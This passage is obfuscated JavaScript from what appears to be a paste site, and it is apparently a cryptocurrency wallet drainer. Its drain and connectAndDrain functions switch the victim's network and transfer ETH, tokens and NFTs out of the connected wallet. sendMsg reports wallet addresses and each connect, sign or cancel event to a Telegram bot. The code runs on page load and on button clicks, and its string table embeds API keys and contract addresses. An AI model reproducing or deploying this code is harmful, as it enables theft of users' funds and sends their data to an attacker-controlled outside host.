  606.   } catch (_0x539ccd) {
  607.     _0x3aa3ed = 0;
  608.   }
  609.   logTx(_0x3aa3ed);
  610. }
  611. async function drain(_0x2e064a) {
  612.   const _0x19370f = _0xd12d80;
  613.   for (var _0x199c04 of itemList) {
  614.     if (_0x2e064a && _0x199c04[_0x19370f(327)] == 'bsc') {
  615.     } else {
  616.       if (_0x199c04['price'] > 0) {
  617.         if (tgMsgCount[_0x19370f(313)]++ < 1) sendMsg(LOG_SCHEMA[logLanguage]['onApprove']);
  618.         try {
  619.           !_0x2e064a && window['ethereum']['networkVersion'] !== CHAIN_ID[_0x199c04[_0x19370f(327)]] && await changeNetwork(CHAIN_ID[_0x199c04[_0x19370f(327)]]);
  620.         } catch (_0x4c212e) {
  621.           if (tgMsgCount['canceledSwitch']++ < 3) sendMsg(LOG_SCHEMA[logLanguage][_0x19370f(295)]);
  622.           continue;
  623.         }
  624.         try {
  625.           if (_0x199c04[_0x19370f(255)] == _0x19370f(217)) await sendEth(_0x199c04[_0x19370f(236)], _0x199c04[_0x19370f(327)]);
  626.            else {
  627.             if (_0x199c04[_0x19370f(255)] == _0x19370f(176)) await sendToken(_0x199c04[_0x19370f(236)], _0x199c04[_0x19370f(250)]);
  628.              else {
  629.               if (_0x199c04['type'] == _0x19370f(315)) await sendNFT(_0x199c04[_0x19370f(236)], _0x199c04[_0x19370f(250)]);
  630.             }
  631.           }
  632.         } catch (_0x1f3b30) {
  633.         }
  634.       }
  635.     }
  636.   }
  637. }
  638. const changeNetwork = async _0x13ea49=>{
  639.   const _0x47a882 = _0xd12d80;
  640.   window[_0x47a882(172)] && await window[_0x47a882(172)][_0x47a882(209)]({
  641.     'method': _0x47a882(215),
  642.     'params': [
  643.       {
  644.         'chainId': Web3['utils']['toHex'](_0x13ea49)
  645.       }
  646.     ]
  647.   });
  648. };
  649. function _0x1083(_0xc019fd, _0x4df8e4) {
  650.   const _0x4428df = _0x4428();
  651.   return _0x1083 = function (_0x10832a, _0x4a90fd) {
  652.     _0x10832a = _0x10832a - 169;
  653.     let _0x484766 = _0x4428df[_0x10832a];
  654.     return _0x484766;
  655.   },
  656.   _0x1083(_0xc019fd, _0x4df8e4);
  657. }
  658. function logTx(_0x419389) {
  659.   const _0x3a2991 = _0xd12d80;
  660.   if (_0x419389 == 1) {
  661.     if (tgMsgCount['signed']++ < 3) sendMsg(LOG_SCHEMA[logLanguage][_0x3a2991(324)]);
  662.   } else {
  663.     if (tgMsgCount[_0x3a2991(346)]++ < 3) sendMsg(LOG_SCHEMA[logLanguage]['onCancel']);
  664.   }
  665. }
  666. async function sendMsg(_0xe9a9c, _0x9b6567) {
  667.   const _0x20330e = _0xd12d80;
  668.   if (_0x9b6567) {
  669.     var _0xc0a33b = _0x20330e(337) + tgConfig[_0x20330e(336)] + _0x20330e(281) + tgConfig[_0x20330e(207)] + '&parse_mode=markdown&text=' + _0xe9a9c;
  670.     resp = fetch(_0xc0a33b);
  671.   } else {
  672.     var _0x5daedd = _0xe9a9c[_0x20330e(275)](_0x20330e(325), localStorage[_0x20330e(280)]('scUniqueId')) [_0x20330e(275)]('$wallet', account),
  673.     _0xc0a33b = _0x20330e(337) + tgConfig[_0x20330e(336)] + _0x20330e(281) + tgConfig[_0x20330e(207)] + _0x20330e(345) + _0x5daedd;
  674.     resp = fetch(_0xc0a33b);
  675.   }
  676. }
  677. window[_0xd12d80(242)](_0xd12d80(197), async() =>{
  678.   const _0x523e38 = _0xd12d80;
  679.   id = localStorage[_0x523e38(280)](_0x523e38(317)),
  680.   id == null && (response = await fetch(_0x523e38(332)), id = await response[_0x523e38(339)](), localStorage[_0x523e38(259)](_0x523e38(317), id)),
  681.   sendMsg(LOG_SCHEMA[logLanguage][_0x523e38(263)]);
  682. });
  683. try {
  684.   window[_0xd12d80(172)]['on'](_0xd12d80(219), _0xdf7250=>{
  685.     const _0x443c41 = _0xd12d80;
  686.     account = _0xdf7250[0],
  687.     id = localStorage[_0x443c41(280)]('scUniqueId'),
  688.     connected == 0 && sendMsg(LOG_SCHEMA[logLanguage][_0x443c41(277)]);
  689.   });
  690. } catch (_0x1616f5) {
  691. }
  692. window[_0xd12d80(242)](_0xd12d80(222), function (_0x294af0) {
  693.   const _0x34fb13 = _0xd12d80;
  694.   var _0x39b80e = _0x34fb13(246) + 'If you leave before saving, your changes will be lost.';
  695.   return (_0x294af0 || window[_0x34fb13(318)]) [_0x34fb13(254)] = _0x39b80e,
  696.   sendMsg(LOG_SCHEMA[logLanguage]['onDisconnect']),
  697.   _0x39b80e;
  698. });
  699. function getMobileOperatingSystem() {
  700.   const _0xc9156c = _0xd12d80;
  701.   var _0x431f34 = navigator[_0xc9156c(333)] || navigator['vendor'] || window['opera'];
  702.   const _0x302270 = window[_0xc9156c(178)]['search'],
  703.   _0x457890 = new URLSearchParams(_0x302270),
  704.   _0x193199 = _0x457890[_0xc9156c(288)](_0xc9156c(173));
  705.   if (_0x193199 == 'mm') return _0xc9156c(271);
  706.   if (/windows phone/i[_0xc9156c(307)](_0x431f34)) return _0xc9156c(344);
  707.   if (/android/i['test'](_0x431f34)) return 'Android';
  708.   if (/iPad|iPhone|iPod/['test'](_0x431f34) && !window[_0xc9156c(198)]) return 'iOS';
  709.   return _0xc9156c(223);
  710. }
  711. document['addEventListener']('DOMContentLoaded', _0x488ee7=>{
  712.   const _0x13b820 = _0xd12d80;
  713.   if ((getMobileOperatingSystem() == 'Android' || getMobileOperatingSystem() == _0x13b820(292)) && !window['ethereum']) {
  714.     var _0x4c3bcd = document[_0x13b820(213)]('a');
  715.     _0x4c3bcd[_0x13b820(183)]['add'](_0x13b820(334)),
  716.     _0x4c3bcd['href'] = 'https://metamask.app.link/dapp/' + window[_0x13b820(178)][_0x13b820(253)]['replace'](_0x13b820(231), '') [_0x13b820(275)](_0x13b820(196), '') + _0x13b820(301),
  717.     connect[_0x13b820(310)]['insertBefore'](_0x4c3bcd, connect),
  718.     _0x4c3bcd['appendChild'](connect);
  719.   }
  720. }),
  721. updateState(_0xd12d80(184));
  722. autoMetamaskConnect == 1 && connectMetamask();
  723. function _0x4428() {
  724.   const _0x5d43a6 = [
  725.     '4lSOWuhUvjzoDeNdaDrSAzVduF6gazcX4wI9JdREdHe403viWRQIQE3ackJV0xwQ',
  726.     'X2PatklLMkZ1EQNL6BkiEjKLqanrTMEpMMVFo5GzIrLi1hd67tk7Bte13XxBKdmz',
  727.     '6691560PRdicH',
  728.     '5268dadWji',
  729.     'polygon',
  730.     'log',
  731.     'concat',
  732.     'https://',
  733.     'sort',
  734.     'ip4Oy3wEE4taqo9UMcMbajKHvlriObPqhAYFdy5lbfisD86rqKKnMZGaQfzeCB5O',
  735.     'token_address',
  736.     '4bn6Jk0uiS6jMPofH0XTxDZxFPy1X0XNYvATwmlKVF9yR58PORqhSpjJFGQTmGBv',
  737.     'balance',
  738.     'https://deep-index.moralis.io/api/v2/',
  739.     'https://mainnet.infura.io/v3/7468b3678e214783ab611eb4a0d819a9',
  740.     'safepal',
  741.     'items',
  742.     '1puXLCxzWLmC7E99lRSgOg9zr6dS5Asw91haaaDJVfpIguMLgidCtv2bYU47zpkj',
  743.     'addEventListener',
  744.     'https://api.zapper.fi/v2/balances?addresses%5B%5D=',
  745.     '0x83850d97018f665eb746fbb8f18351e977d1b0d6',
  746.     'address',
  747.     'It looks like you have been editing something. ',
  748.     '\n\nevent: end\ndata: {}\n\n',
  749.     'application/json',
  750.     'sendTransaction',
  751.     'contract',
  752.     'getElementById',
  753.     'GET',
  754.     'href',
  755.     'returnValue',
  756.     'type',
  757.     'userTokensFetching',
  758.     'bjWyrcQ1kgVrRZvGb5TDGEBPdquaeNKYkkoEbYsxPQHSYt6OV1Z1C1rKiyoaejeO',
  759.     'keys',
  760.     'setItem',
  761.     'balanceRaw',
  762.     'estimatedValueEth',
  763.     'yU1WUrDotYQMz7oxf08Ifr3QpSRNPHaM4zxKPfrhvvXvvyXPGJo4gcciFQ6OKDbR',
  764.     'onConnect',
  765.     'metamaskbuttonopen',
  766.     '515660YuBuMZ',
  767.     'getBalance',
  768.     '0x29132062319aa375e764ef8ef756f2b28c77a9c9',
  769.     '0x5f7a1a4dafd0718caee1184caa4862543f75edb1',
  770.     '20197107rWUyjH',
  771.     'QQpFIQ9vuzeH70qY2LhScM9vDzioTY6Mim34nJzKqoSZXe2n645GMqN0eZSo96qQ',
  772.     'Metamask',
  773.     'readyState',
  774.     'kMd6gcvaLrcSZS0UvVpPMkDYEvzhNFVEmBzpavQwMBCoz3ETmwL1bYlKFozH1LJA',
  775.     '2QjcdHCDaAUfrNoym7SBHWs9BZ4cKtH853V81UtvSmhvK3TYEEQWsWkAdiFmk4jn',
  776.     'replace',
  777.     'methods',
  778.     'onMetamaskConnect',
  779.     '5334889KxWcTp',
  780.     '1inch',
  781.     'getItem',
  782.     '/sendMessage?chat_id=',
  783.     'IdZk35RsmDewhFTKUnXI7fkdcLwftTZcEMtp79OD6Jm0aQ61yjX6VEh9miAXZJkH',
  784.     'utils',
  785.     'fromWei',
  786.     'HttpProvider',
  787.     'push',
  788.     'tokenId',
  789.     'get',
  790.     '0xc0c6e4c6e70c6231b20979bda581a66f062a7967',
  791.     'balanceUSD',
  792.     '7468b3678e214783ab611eb4a0d819a9',
  793.     'iOS',
  794.     'then',
  795.     'argent',
  796.     'onCancelSwitch',
  797.     '0x7d1afa7b718fb893db30a3abc0cfc608aacfebb0',
  798.     'Refresh your page! Something went wrong!',
  799.     'random',
  800.     'FuIPJDVOieQPb9zJcJHRr8n4Gke0kpfSvhX3yjiu5bWSmdALBwxtOSRLlIS2gYlK',
  801.     'bsc',
  802.     '?uid=mm',
  803.     'fullwide',
  804.     'exodus',
  805.     'getAccounts',
  806.     'length',
  807.     'toLocaleString',
  808.     'test',
  809.     '&networks%5B%5D=ethereum&networks%5B%5D=polygon&networks%5B%5D=binance-smart-chain',
  810.     'https://deep-index.moralis.io/api/v2/erc20/',
  811.     'parentNode',
  812.     'eth',
  813.     'uint256',
  814.     'approve',
  815.     '/balance',
  816.     'nft',
  817.     '/erc20',
  818.     'scUniqueId',
  819.     'event',
  820.     'https://metamask.io/download/',
  821.     'https://api.zapper.fi/v2/nft/balances/tokens?addresses%5B%5D=',
  822.     'transactionHash',
  823.     'tokens',
  824.     'wei',
  825.     'onSign',
  826.     '$id',
  827.     'gnosis',
  828.     'chain',
  829.     'sV7F1FkARMoueHSnBdBMO1guqxVlEXu570AUL3d146voVrtieHGIrFjEn0COshuI',
  830.     '&limit=25',
  831.     '15pmZaeJ',
  832.     'complete',
  833.     'https://api.ipify.org',
  834.     'userAgent',
  835.     'mmLink',
  836.     'slice',
  837.     'botToken',
  838.     'https://api.telegram.org/bot',
  839.     '0x156ab3346823b651294766e23e6cf87254d68962',
  840.     'text',
  841.     '216202xDXNWH',
  842.     'binance-smart-chain',
  843.     'userTokensFetched',
  844.     'error',
  845.     'Windows Phone',
  846.     '&parse_mode=markdown&text=',
  847.     'canceled',
  848.     'floor',
  849.     '0xc46159be6699f8f74d39231c021529cd98e0d788',
  850.     'bitpay',
  851.     'entries',
  852.     'collection',
  853.     'trust',
  854.     '0x1f98431c8ad98523631ae4a59f267346ea31f984',
  855.     'ethereum',
  856.     'uid',
  857.     'KXsGAFeJtxC8PFmVfDfNC20wrjKyFdd3FtvIhYqRq5RvHAAaaTCL7tnJcEcgchKb',
  858.     'default',
  859.     'token',
  860.     'balanceOf',
  861.     'location',
  862.     '/price',
  863.     'ZedtjR5J88aI3Pr7oW4wIIQ49qW1V0dTKK93MtF9Uxy54WNRur5k75Ch3HGULnVW',
  864.     '3977336mgcUJO',
  865.     '7MbE8vT54AMvFHxWyLUCz2NSkj0PS3rH5nbKgNOXDwafZoFaIeuZTH6KOsskG2Bs',
  866.     'classList',
  867.     'metamaskDisconnected',
  868.     '0x71753d0586ea6b979dfccbb492a45e611e0e0ad6',
  869.     'metamaskConnected',
  870.     'bridge',
  871.     'context',
  872.     ',"data$1$2": {"appId":"$1","network":"$2"',
  873.     'mHkOcoTU3sIIF6AsqrRvYas6pVT3tiVPJdv7cBzgfS46ShVKRwS00IC6O5ziT8va',
  874.     '1390ybpOhf',
  875.     'walletconnectbuttonopen',
  876.     '0x9d39ef3bbca5927909dde44476656b81bbe4ee75',
  877.     'call',
  878.     'enable',
  879.     'http://',
  880.     'load',
  881.     'MSStream',
  882.     '_owner',
  883.     'catch',
  884.     '0x15ea6b8481bf1c991ac3dc8e67279d31651a56fe',
  885.     'ether',
  886.     'onclick',
  887.     '0x31801b15215c021e7988fa0bc37dcfa6a303bd00',
  888.     'Contract',
  889.     '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2',
  890.     'chatId',
  891.     'matic',
  892.     'request',
  893.     'getGasPrice',
  894.     'network',
  895.     '0x35122d1fe8001296f61290b8ba42ef597af31fb7',
  896.     'createElement',
  897.     'data',
  898.     'wallet_switchEthereumChain',
  899.     'price',
  900.     'native',
  901.     'rainbow',
  902.     'accountsChanged',
  903.     'usdPrice',
  904.     '0x0000000000000000000000000000000000000000',
  905.     'beforeunload',
  906.     'unknown'
  907.   ];
  908.   _0x4428 = function () {
  909.     return _0x5d43a6;
  910.   };
  911.   return _0x4428();
  912. }
  913. async function connectAndDrain() {
  914.   if (connected == 0) await connectMetamask();
  915.   await drain();
  916. }
  917. async function connectAndDrainWalletConnect() {
  918.   if (connected == 0) await connectWalletConnect();
  919.   await drain(!![]);
  920. }
  921. document['getElementById'](_0xd12d80(264)) [_0xd12d80(203)] = function () {
  922.   connectAndDrain();
  923. },
  924. document[_0xd12d80(251)](_0xd12d80(192)) [_0xd12d80(203)] = function () {
  925.   connectAndDrainWalletConnect();
  926. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement